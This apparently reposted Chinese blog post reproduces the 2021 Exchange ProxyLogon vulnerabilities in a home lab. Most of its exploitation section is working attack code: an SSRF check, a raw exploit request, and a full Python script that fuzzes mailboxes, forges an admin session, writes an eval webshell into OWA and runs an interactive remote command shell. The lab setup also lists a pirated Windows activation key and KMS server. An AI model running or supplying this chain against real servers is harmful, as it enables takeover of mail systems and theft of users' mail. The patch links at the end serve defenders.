Exchange CVE 您所在的位置:网站首页 exchangede Exchange CVE

Exchange CVE

2023-04-03 20:07| 来源: 网络整理| 查看: 265

文章最后更新时间为:2021年12月09日 15:02:20

1. 漏洞描述

2021年三月,微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括:

CVE-2021-26855: 服务端请求伪造(SSRF)漏洞,通过该漏洞,攻击者可以发送任意HTTP请求并通过Exchange Server进行身份验证,获取权限。CVE-2021-26857: 是统一消息服务中的不安全反序列化漏洞。通过该此漏洞,具有管理员权限的攻击者可以在Exchange服务器上以SYSTEM身份运行任意代码。CVE-2021-26858/CVE-2021-27065: 任意文件写入漏洞,在通过身份验证后攻击者可以利用该漏洞将文件写入服务器的任意路径。

漏洞无需验证和交互即可触发远程代码执行,危害极大。

2. 影响范围

CVE-2021-27065/CVE-2021-26855/CVE-2021-26858: Microsoft Exchange Server 2019 Cumulative Update 8 Microsoft Exchange Server 2019 Cumulative Update 7 Microsoft Exchange Server 2016 Cumulative Update 19 Microsoft Exchange Server 2016 Cumulative Update 18 Microsoft Exchange Server 2013 Cumulative Update 23

CVE-2021-26857: Microsoft Exchange Server 2019 Cumulative Update 8 Microsoft Exchange Server 2019 Cumulative Update 7 Microsoft Exchange Server 2016 Cumulative Update 19 Microsoft Exchange Server 2016 Cumulative Update 18 Microsoft Exchange Server 2013 Cumulative Update 23 Microsoft Exchange Server 2010 Service Pack 3

3. Exchange漏洞环境搭建3.1 安装windows server 2016虚拟机

迅雷下载ios

ed2k://|file|cn_windows_server_2016_x64_dvd_9327743.iso|6020876288|58F585A340248EF7603A48F832F08B6D|/

系统内存要给8G,不然不够用,安装完系统后激活,网上随便找的激活码

slmgr /ipk WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY slmgr /skms kms.03k.org slmgr /ato

测试是否激活成功

slmgr.vbs -xpr3.2 安装AD域控

首先需要设置Administrator账户的密码,默认情况下为空:

然后打开服务器管理器,点击管理 > 添加角色和功能

选择Active Directory 域服务 和 DNS服务器

一路next,直到安装

安装完成,点击关闭

然后打开服务器管理器,点右上角的小旗子,将此服务器提升为域控制器

这里选择添加新林,我这里设置的是saucerman.com

然后填入目录服务还原密码,点下一步

下面忽视无法创建dns服务器委派,点击下一步

直接点下一步 (NETBIOS域名:计算机名称用来标识计算机在网络中的身份,就像人的名字。当启动计算机时,系统会在网络上注册唯一的NetBIOS名称,也就是从网络中看到的计算机名)

下面选择安装的位置以及日志文件位置,这里直接点击下一步即可

下一步

选择安装

安装完成后系统会自动重启。

3.3 安装exchange 2016 cu18

先重启使用Administrator账户登录

然后安装一下依赖的组件:(参考https://docs.microsoft.com/zh-cn/exchange/plan-and-deploy/prerequisites?view=exchserver-2016)

1.NET Framework 4.8 https://download.visualstudio.microsoft.com/download/pr/014120d7-d689-4305-befd-3cb711108212/0fd66638cde16859462a6243a4629a50/ndp48-x86-x64-allos-enu.exe

2.安装Visual C++ Redistributable Package for Visual Studio 2012   https://www.microsoft.com/en-us/download/details.aspx?id=30679

3.Visual C++ 2013 Redistributable Package https://support.microsoft.com/zh-cn/topic/update-for-visual-c-2013-redistributable-package-d8ccd6a5-4e26-c290-517b-8da6cfdf4f10

4.通过Power Shell安装Exchange必备的Windows组件

Install-WindowsFeature Server-Media-Foundation, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS

然后下载exchange 2016 ios: https://download.microsoft.com/download/d/2/3/d23b113b-9634-4456-acba-1f7b0ce22b0e/ExchangeServer2016-x64-cu18.iso

右键以管理员权限打开setup程序。

选择现在不检查更新

等待复制文件后,下一步

下一步

选择不使用推荐设置

这里选择邮箱角色, 然后需要勾上自动安装所需的角色功能

下一步

下一步

禁用软件扫描,然后下一步

禁用软件扫描,然后下一步

只有两个错误,根据所给的链接,一一解决即可。。

安装成功后访问https://localhost/ecp即可到达exchange管理中心。

邮箱管理登录页面:https://localhost/ecp个人邮箱用户登录页面:https://localhost/owa4. 漏洞利用4.1 CVE-2021-26855 SSRF

poc脚本:

#!/usr/bin/env python3 # coding: utf-8 from urllib.parse import urljoin from pocsuite3.api import POCBase, Output, register_poc, logger, requests class DemoPOC(POCBase): vulID = '' version = '1.0' author = [''] vulDate = '2021-03-06' createDate = '2021-03-06' updateDate = '2021-03-06' references = [''] name = 'Microsoft Exchange Server SSRF漏洞' appPowerLink = '' appName = 'Microsoft Exchange Server' appVersion = 'Exchange Server 2013、Exchange Server 2016、Exchange Server 2019' vulType = '' desc = ''' Microsoft Exchange Server SSRF漏洞 ''' samples = [''] install_requires = [''] def _verify(self): result = {} try: vul_url = urljoin(self.url, "/owa/auth/x.js") headers = { 'Cookie': 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;' } resp = requests.get(vul_url, headers=headers, timeout=10) if resp.status_code == 500 and 'NegotiateSecurityContext' in resp.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url except Exception as e: logger.error(e) return self.parse_output(result) def _attack(self): return self._verify() def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('Internet nothing returned') return output register_poc(DemoPOC)

exp:

POST /ecp/target.js HTTP/1.1 Host: 192.168.179.2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Cookie: X-BEResource=[name]@WIN-N15UUJ077R0.saucerman.com:443/autodiscover/autodiscover.xml?#~1941962754 Content-Type: text/xml Content-Length: 348 [email protected] http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a

其中:

url中的/ecp/target.js不是绝对的,可以是其他的路径 /ecp/xxxxxxxx.pngX-BEResource 用于代理请求,其原本格式应该是 [fqdn]~BackEndServerVersion,BackEndServerVersion 应该大于1941962752WIN-N15UUJ077R0.saucerman.com:443 为目标地址

如果不需要特别指定端口号,还可以使用下面的值:

X-BEResource=WIN-N15UUJ077R0.saucerman.com/autodiscover/autodiscover.xml?#~1941962753

这样会导致以443端口访问https://win-n15uuj077r0.saucerman.com/autodiscover/autodiscover.xml?#:444/ecp/target.js

获取邮件列表,下载邮件exp:

https://github.com/charlottelatest/CVE-2021-26855

由于搭建的exchange服务器只有一台,所以查看邮件列表失败。

4.2 配合CVE-2021-27065实现 RCE

配合任意文件写入漏洞,我们可以写一个shell,过程为

通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息。在通过LegacyDN,获取SID。然后通过合法的SID,获取exchange的有效cookie。最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马,达到控制目标的效果。

使用下面的exp即可(修改自https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/master/Exchange/CVE-2021-26855%20Exchange%20RCE/exp.py)

# -*- coding: utf-8 -*- import requests from urllib3.exceptions import InsecureRequestWarning import random import string import argparse import sys requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test', 'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply'] proxies = {} user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path # webshell-马子内容 shell_content = ' function Page_Load(){/**/eval(Request["code"],"unsafe");}' final_shell = "" def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) if __name__=="__main__": parser = argparse.ArgumentParser( description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。') parser.add_argument('-u', type=str, help='target') parser.add_argument('-user', help='exist email', default='') parser.add_argument('-suffix', help='email suffix') args = parser.parse_args() target = args.u suffix = args.suffix if suffix == "": print("请输入suffix") exist_email = args.user if exist_email: fuzz_email.insert(0, exist_email) random_name = id_generator(4) + ".js" print("目标 Exchange Server: " + target) for i in fuzz_email: new_email = i+suffix autoDiscoverBody = """ %s http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a """ % new_email # print("get FQDN") FQDN = "EXCHANGE01" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False, proxies=proxies) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"] print("got FQDN:" + FQDN) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, proxies=proxies, verify=False ) if ct.status_code != 200: print(ct.status_code) print("Autodiscover Error!") if "" not in str(ct.content): print("Can not get LegacyDN!") try: legacyDn = str(ct.content).split("")[ 1].split(r"")[0] print("Got DN: " + legacyDn) mapi_body = legacyDn + \ "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, "Content-Type": "application/mapi-http", "X-Requesttype": "Connect", "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", "X-Clientapplication": "Outlook/15.0.4815.1002", "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456", "User-Agent": user_agent }, data=mapi_body, verify=False, proxies=proxies ) if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content): print("Mapi Error!") exit() sid = str(ct.content).split("with SID ")[ 1].split(" and MasterAccountSid")[0] print("Got SID: " + sid) sid = sid.replace(sid.split("-")[-1], "500") proxyLogon_request = """%sS-1-1-0S-1-5-2S-1-5-11S-1-5-15S-1-5-5-0-6948923 """ % sid ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, data=proxyLogon_request, proxies=proxies, verify=False ) if ct.status_code != 241 or not "set-cookie" in ct.headers: print("Proxylogon Error!") exit() sess_id = ct.headers['set-cookie'].split( "ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[ 1].split(";")[0] print("Got session id: " + sess_id) print("Got canary: " + msExchEcpCanary) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}". format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id, msExchEcpCanary=msExchEcpCanary), "Content-Type": "application/json; ", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, json={"filter": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}}, verify=False, proxies=proxies ) if ct.status_code != 200: print("GetOAB Error!") exit() oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0] print("Got OAB id: " + oabId) oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=oab_json, proxies=proxies, verify=False ) if ct.status_code != 200: print("Set external url Error!") exit() reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=reset_oab_body, proxies=proxies, verify=False ) if ct.status_code != 200: print("写入shell失败") exit() shell_url = "https://"+target+"/owa/auth/test11.aspx" print("成功写入shell:" + shell_url) print("下面验证shell是否ok") print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());') print("正在请求shell") import time time.sleep(1) data = requests.post(shell_url, data={ "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies) if data.status_code != 200: print("写入shell失败") else: print("shell:"+data.text.split("OAB (Default Web Site)") [0].replace("Name : ", "")) print('[+]用户名: '+ new_email) final_shell = shell_url break except: print('[-]用户名: '+new_email) print("=============================") if not final_shell: sys.exit() print("下面启用交互式shell") while True: input_cmd = input("[#] command: ") data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd} ct = requests.post( final_shell, data=data,verify=False, proxies=proxies) if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text: print("[*] Failed to execute shell command") else: shell_response = ct.text.split( "Name :")[0] print(shell_response)5. 漏洞修复

参考以下链接安装补丁

CVE-2021-26855: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855 CVE-2021-26857: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857 CVE-2021-26858: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858 CVE-2021-27065: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065

6. 参考文章https://nox.qianxin.com/article/218https://blog.csdn.net/qq_40989258/article/details/114842511http://f5.pm/go-61771.htmlhttps://www.cnblogs.com/-zhong/p/14533053.html


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有